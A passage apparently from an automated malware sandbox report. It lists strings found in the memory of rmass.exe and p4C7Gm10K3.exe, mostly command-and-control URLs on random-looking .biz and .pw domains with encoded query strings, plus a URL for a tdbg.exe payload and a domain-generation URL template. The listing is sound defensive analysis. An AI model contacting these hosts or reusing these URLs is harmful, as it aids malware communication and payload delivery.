00000002.00000003.4144164011.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4197425310.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3841363631.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4056166356.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4135572902.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://unmomis.biz/d/N?02F023F096F023F096DE23DC96F0233DCF52923C54F123303EF225C6B8C20DC9A4C013DE96
Source: rmass.exe, 00000002.00000003.4273109521.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4214880443.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4461527639.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4311484143.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4262998373.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4235556739.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4460952078.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4193467188.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4299731740.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4164566072.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4414028680.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4197425310.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4464827385.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4342554634.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4187631022.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4470906585.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4480605195.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4238656275.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4211926102.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4393842510.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4222858653.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://unmomis.biz/d/N?02F6456097F6456097D8454C97F645ADCE54F4AC55F745A03FF44356B9C46B59A5C6754E97
Source: rmass.exe, 00000002.00000003.4158982239.0000000000775000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4156178438.0000000000775000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://unmomis.biz/d/N?02F6456097F6456097D8454C97F645ADCE54F4AC55F745A03FF44356B9C46B59A5C6754E979
Source: rmass.exe, 00000002.00000003.4158982239.0000000000775000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4156178438.0000000000775000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://unmomis.biz/d/N?02F6456097F6456097D8454C97F645ADCE54F4AC55F745A03FF44356B9C46B59A5C6754E97ttp
Source: rmass.exe, 00000002.00000003.4222933084.0000000000741000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://unmomis.biz/d/N?02F687C159F687C15
Source: rmass.exe, 00000002.00000003.4202339480.0000000000742000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4299731740.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4414028680.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4464827385.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4342554634.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4470906585.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4480605195.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4238656275.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4211926102.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4393842510.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4222858653.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4285890608.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4250523169.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4317278685.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4206664935.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4217274444.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4239765982.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4309699650.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4231319081.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4252571437.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4505189533.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://unmomis.biz/d/N?02F687C159F687C159D887ED59F6870C0054360D9BF78701F1F481F777C4A9F86BC6B7EF59
Source: rmass.exe, 00000002.00000003.4273109521.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4214880443.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4461527639.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4311484143.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4262998373.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4235556739.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4460952078.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4299731740.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4414028680.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4464827385.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4342554634.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4470906585.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4480605195.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4238656275.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4211926102.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4393842510.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4222858653.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4285890608.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4250523169.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4317278685.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4206664935.0000000003CE6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://unmomis.biz/d/N?02F687C159F687C159D887ED59F6870C0054360D9BF78701F1F481F777C4A9F86BC6B7EF59W
Source: rmass.exe, 00000002.00000002.4539005226.0000000002C45000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: http://unmomis.biz/d/N?02F687C159F687C159D887ED59F6870C0054360D9BF78701F1F481F777C4A9F86BC6B7EF59n
Source: rmass.exe, 00000002.00000003.4137784481.000000000072D000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4139501057.000000000072E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://unmomis.biz/d/N?0=
Source: rmass.exe, 00000002.00000003.4186369949.0000000000775000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4192853398.0000000000775000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4197456695.0000000000778000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4185505448.0000000000775000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4187741455.0000000000775000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4188325824.0000000000775000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://unmomis.biz/d/N?0U
Source: rmass.exe, 00000002.00000003.4137784481.000000000072D000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4139501057.000000000072E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://uohcuegnkvj.pw/
Source: rmass.exe, 00000002.00000003.2734929147.0000000000739000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.2723537244.0000000000739000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://utbidet-ugeas.biz
Source: rmass.exe, 00000002.00000002.4539005226.0000000002C45000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: http://utbidet-ugeas.biz/d/N?0203ACC32E03ACC32E2DACEF2E03AC0E77A11D0FEC02AC038601AAF5003182FA1C339CE
Source: rmass.exe, 00000002.00000003.2840497586.000000000074D000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000002.4539005226.0000000002C45000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: http://utbidet-ugeas.biz/d/N?0204466394044663942A464F940446AECDA6F7AF560546A33C064055BA36685AA634764
Source: rmass.exe, 00000002.00000002.4539005226.0000000002C45000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: http://utbidet-ugeas.biz/d/N?020F06AE640F06AE64210682640F06633DADB762A60E066ECC0D00984A3D2897563F368
Source: rmass.exe, 00000002.00000002.4539005226.0000000002C45000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: http://utbidet-ugeas.biz/d/N?0226464D4326464D43084661432646801A84F7818127468DEB24407B6D1468747116766
Source: rmass.exe, 00000002.00000002.4539005226.0000000002C45000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: http://utbidet-ugeas.biz/d/N?022880A7482880A74806808B4828806A118A316B8A298067E02A8691661AAE9E7A18B08
Source: rmass.exe, 00000002.00000002.4539005226.0000000002C45000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: http://utbidet-ugeas.biz/d/N?0228C04BEE28C04BEE06C067EE28C086B78A71872C29C08B462AC67DC01AEE72DC18F06
Source: rmass.exe, 00000002.00000003.2734929147.0000000000739000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://utbidet-ugeas.biz/d/N?022C9FA96C2
Source: rmass.exe, 00000002.00000003.2734929147.0000000000739000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.2723537244.0000000000739000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://utbidet-ugeas.biz/d/N?022C9FA96C2C9FA96C029F856C2
Source: rmass.exe, 00000002.00000003.2734929147.0000000000739000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000002.4539005226.0000000002C45000.00000004.00000010.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.2723537244.0000000000739000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://utbidet-ugeas.biz/d/N?022C9FA96C2C9FA96C029F856C2C9F64358E2E65AE2D9F69C42E999F421EB1905E1CAF8
Source: rmass.exe, 00000002.00000003.3332969576.0000000000739000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000002.4539005226.0000000002C45000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: http://utbidet-ugeas.biz/d/N?022E8EF7922E8EF792008EDB922E8E3ACB8C3F3B502F8E373A2C88C1BC1CA0CEA01EBED
Source: rmass.exe, 00000002.00000003.3315737066.000000000074D000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3321245610.000000000074D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://utbidet-ugeas.biz/d/N?0246E0960F4
Source: rmass.exe, 00000002.00000003.3289800701.000000000074D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://utbidet-ugeas.biz/d/N?0246E0960F46E0960F68E0BA0F46E05B56E4515ACD47E056A744E6A02174CEAF3D76D0B
Source: rmass.exe, 00000002.00000002.4539005226.0000000002C45000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: http://utbidet-ugeas.biz/d/N?025429DBFD5429DBFD7A29F7FD542916A4F698173F55291B55562FEDD36607E2CF6419F
Source: rmass.exe, 00000002.00000003.3175955117.0000000000734000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3178078140.0000000000734000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3172344272.0000000000734000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3165877189.0000000000734000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3188574545.0000000000734000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3181433154.0000000000734000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://utbidet-ugeas.biz/d/N?0266D2AE3866D2AE3848D282386
Source: rmass.exe, 00000002.00000002.4539005226.0000000002C45000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: http://utbidet-ugeas.biz/d/N?0266D2AE3866D2AE3848D2823866D26361C46362FA67D26E9064D4981654FC970A56E28
Source: rmass.exe, 00000002.00000002.4539005226.0000000002C45000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: http://utbidet-ugeas.biz/d/N?02706A6D19706A6D195E6A4119706AA040D2DBA1DB716AADB1726C5B374244542B405A4
Source: rmass.exe, 00000002.00000002.4539005226.0000000002C45000.00000004.00000010.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.2723537244.0000000000739000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://utbidet-ugeas.biz/d/N?027509F5FE7509F5FE5B09D9FE750938A7D7B8393C74093556770FC3D04727CCCC4539D
Source: rmass.exe, 00000002.00000002.4539005226.0000000002C45000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: http://utbidet-ugeas.biz/d/N?027E2B6AD77E2B6AD7502B46D77E2BA78EDC9AA6157F2BAA7F7C2D5CF94C0553E54E1B4
Source: rmass.exe, 00000002.00000002.4539005226.0000000002C45000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: http://utbidet-ugeas.biz/d/N?0280AACDBE80AACDBEAEAAE1BE80AA00E7221B017C81AA0D1682ACFB90B284F48CB09AE
Source: rmass.exe, 00000002.00000002.4539005226.0000000002C45000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: http://utbidet-ugeas.biz/d/N?0281377A8581377A85AF3756858137B7DC2386B6478037BA2D83314CABB31943B7B1075
Source: rmass.exe, 00000002.00000003.3702678755.000000000072D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://utbidet-ugeas.biz/d/N?0285B5578985B55789ABB57B8985B59AD027049B4B84B5972187B361A7B79B6EBBB5857
Source: rmass.exe, 00000002.00000002.4539005226.0000000002C45000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: http://utbidet-ugeas.biz/d/N?02908178BA908178BABE8154BA9081B5E33230B4789181B81292874E94A2AF4188A0B15
Source: rmass.exe, 00000002.00000002.4539005226.0000000002C45000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: http://utbidet-ugeas.biz/d/N?0296C9CA5596C9CA55B8C9E65596C9070C3478069797C90AFD94CFFC7BA4E7F367A6F9E
Source: rmass.exe, 00000002.00000002.4539005226.0000000002C45000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: http://utbidet-ugeas.biz/d/N?029A22B7269A22B726B4229B269A227A7F38937BE49B22778E98248108A80C8E14AA129
Source: rmass.exe, 00000002.00000002.4539005226.0000000002C45000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: http://utbidet-ugeas.biz/d/N?029C84ADC09C84ADC0B28481C09C8460993E3561029D846D689E829BEEAEAA94F2ACB48
Source: rmass.exe, 00000002.00000002.4539005226.0000000002C45000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: http://utbidet-ugeas.biz/d/N?02B11BF607B11BF6079F1BDA07B11B3B5E13AA3AC5B01B36AFB31DC0298335CF35812BD
Source: rmass.exe, 00000002.00000002.4539005226.0000000002C45000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: http://utbidet-ugeas.biz/d/N?02B624B8FAB624B8FA982494FAB62475A314957438B7247852B4228ED4840A81C886149
Source: rmass.exe, 00000002.00000002.4539005226.0000000002C45000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: http://utbidet-ugeas.biz/d/N?02B82229F7B82229F7962205F7B822E4AE1A93E535B922E95FBA241FD98A0C10C588120
Source: rmass.exe, 00000002.00000002.4539005226.0000000002C45000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: http://utbidet-ugeas.biz/d/N?02B8E79322B8E7932296E7BF22B8E75E7B1A565FE0B9E7538ABAE1A50C8AC9AA1088D7B
Source: rmass.exe, 00000002.00000002.4539005226.0000000002C45000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: http://utbidet-ugeas.biz/d/N?02CA747344CA747344E4745F44CA74BE1D68C5BF86CB74B3ECC872456AF85A4A76FA445
Source: rmass.exe, 00000002.00000002.4539005226.0000000002C45000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: http://utbidet-ugeas.biz/d/N?02E448C223E448C223CA48EE23E4480F7A46F90EE1E548028BE64EF40DD666FB11D478E
Source: rmass.exe, 00000002.00000002.4539005226.0000000002C45000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: http://utbidet-ugeas.biz/d/N?02E92C5BB5E92C5BB5C72C77B5E92C96EC4B9D9777E82C9B1DEB2A6D9BDB026287D91C7
Source: rmass.exe, 00000002.00000002.4539005226.0000000002C45000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: http://utbidet-ugeas.biz/d/N?02E9EB384CE9EB384CC7EB144CE9EBF5154B5AF48EE8EBF8E4EBED0E62DBC5017ED9DB1
Source: rmass.exe, 00000002.00000002.4539005226.0000000002C45000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: http://utbidet-ugeas.biz/d/N?02EBE93423EBE93423C5E91823EBE9F97A4958F8E1EAE9F48BE9EF020DD9C70D11DBD91
Source: rmass.exe, 00000002.00000002.4539005226.0000000002C45000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: http://utbidet-ugeas.biz/d/N?02F0284686F0284686DE286A86F0288BDF52998A44F128862EF22E70A8C2067FB4C0186
Source: rmass.exe, 00000002.00000002.4539005226.0000000002C45000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: http://utbidet-ugeas.biz/d/N?02F4017805F4017805DA015405F401B55C56B0B4C7F501B8ADF6074E2BC62F4137C4315
Source: rmass.exe, 00000002.00000002.4539005226.0000000002C45000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: http://utbidet-ugeas.biz/d/N?02F4FBB763F4FBB763DAFB9B63F4FB7A3A564A7BA1F5FB77CBF6FD814DC6D58E51C4CB9
Source: rmass.exe, 00000002.00000002.4539005226.0000000002C45000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: http://utbidet-ugeas.biz/d/N?02F61668A8F61668A8D81644A8F616A5F154A7A46AF716A800F4105E86C438519AC6264
Source: rmass.exe, 00000002.00000002.4539005226.0000000002C45000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: http://utbidet-ugeas.biz/d/N?02F836E051F836E051D636CC51F8362D085A872C93F93620F9FA30D67FCA18D963C806C
Source: rmass.exe, 00000002.00000002.4539005226.0000000002C45000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: http://utbidet-ugeas.biz/d/N?02F8C00BE1F8C00BE1D6C027E1F8C0C6B85A71C723F9C0CB49FAC63DCFCAEE32D3C8F02
Source: p4C7Gm10K3.exe, p4C7Gm10K3.exe, 00000000.00000002.2081775483.0000000000401000.00000040.00000001.01000000.00000003.sdmp, rmass.exe, rmass.exe, 00000002.00000002.4536736875.0000000000401000.00000040.00000001.01000000.00000004.sdmp	String found in binary or memory: http://utbidet-ugeas.biz/d/cc
Source: p4C7Gm10K3.exe, p4C7Gm10K3.exe, 00000000.00000002.2081775483.0000000000401000.00000040.00000001.01000000.00000003.sdmp, rmass.exe, rmass.exe, 00000002.00000002.4536736875.0000000000401000.00000040.00000001.01000000.00000004.sdmp	String found in binary or memory: http://utbidet-ugeas.biz/d/rpt?
Source: p4C7Gm10K3.exe, 00000000.00000002.2081775483.0000000000401000.00000040.00000001.01000000.00000003.sdmp, rmass.exe, 00000002.00000002.4536736875.0000000000401000.00000040.00000001.01000000.00000004.sdmp	String found in binary or memory: http://utbidet-ugeas.biz/d/rpt?http://%s.biz/d/G?http://%s.biz/d/N?idbg32.exeaset32.exeSOFTWARE
Source: rmass.exe, 00000002.00000003.3175955117.0000000000734000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3209181789.0000000000734000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3236027592.0000000000741000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3197072555.0000000000733000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3178078140.0000000000734000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3172344272.0000000000734000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3205510264.0000000000734000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3165877189.0000000000734000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3188574545.0000000000734000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3181433154.0000000000734000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3227447122.0000000000738000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3219168569.0000000000734000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3210318884.0000000000734000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://utbidet-ugeas.bizH
Source: rmass.exe, 00000002.00000003.3806713404.000000000074B000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3671499433.000000000074D000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3684878778.000000000074D000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3841425635.000000000074B000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3702747394.000000000074D000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3843952226.000000000074B000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3702941321.000000000074D000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3672630664.000000000074D000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3803470948.000000000074B000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3806807667.000000000074B000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3832343429.000000000074B000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3803542506.000000000074B000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3854640452.000000000074C000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3769929491.0000000000741000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3710241633.000000000074D000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3824118850.000000000074B000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3863286738.000000000074D000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3704195789.000000000074D000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3826387409.000000000074B000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3891346643.0000000000749000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3664023702.000000000074D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://uwgiucm.pF
Source: rmass.exe, 00000002.00000003.3655798825.000000000074D000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3620008594.0000000000749000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3640578355.0000000000749000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3649369882.000000000074D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://uwgiucm.pw/
Source: rmass.exe, 00000002.00000003.3655798825.000000000074D000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3620008594.0000000000749000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3640578355.0000000000749000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3649369882.000000000074D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://uwgiucm.pw/0
Source: rmass.exe, 00000002.00000003.3803470948.000000000072F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://vesuvadpxnu.pw/
Source: rmass.exe, 00000002.00000002.4537328060.00000000006BE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://wmjwdixoh.pw/
Source: rmass.exe, 00000002.00000003.4501806806.000000000074B000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4499610123.000000000074B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://wmjwdixoh.pw/tdbg.exe
Source: rmass.exe, 00000002.00000003.4186369949.0000000000775000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4185505448.0000000000775000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4187741455.0000000000775000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4188325824.0000000000775000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://wqsfxtzkmcu.pw/
Source: rmass.exe, 00000002.00000003.4186369949.0000000000775000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4185505448.0000000000775000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4187741455.0000000000775000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4188325824.0000000000775000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://wqsfxtzkmcu.pw/_
Source: rmass.exe, 00000002.00000003.3194978679.000000000074B000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3178078140.0000000000734000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3188574545.0000000000734000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3181433154.0000000000734000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://wwhoyfa.m
Source: rmass.exe, 00000002.00000003.3175955117.0000000000734000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3142022582.0000000000734000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3178078140.0000000000734000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3172344272.0000000000734000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3165877189.0000000000734000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3141905625.000000000074B000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3125929020.000000000074B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://wwhoyfa.mp/
Source: rmass.exe, 00000002.00000003.3175955117.0000000000734000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3172344272.0000000000734000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3165877189.0000000000734000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3141905625.000000000074B000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3125929020.000000000074B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://wwhoyfa.mp/9963
Source: rmass.exe, 00000002.00000003.3142022582.0000000000734000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://wwhoyfa.mp/d
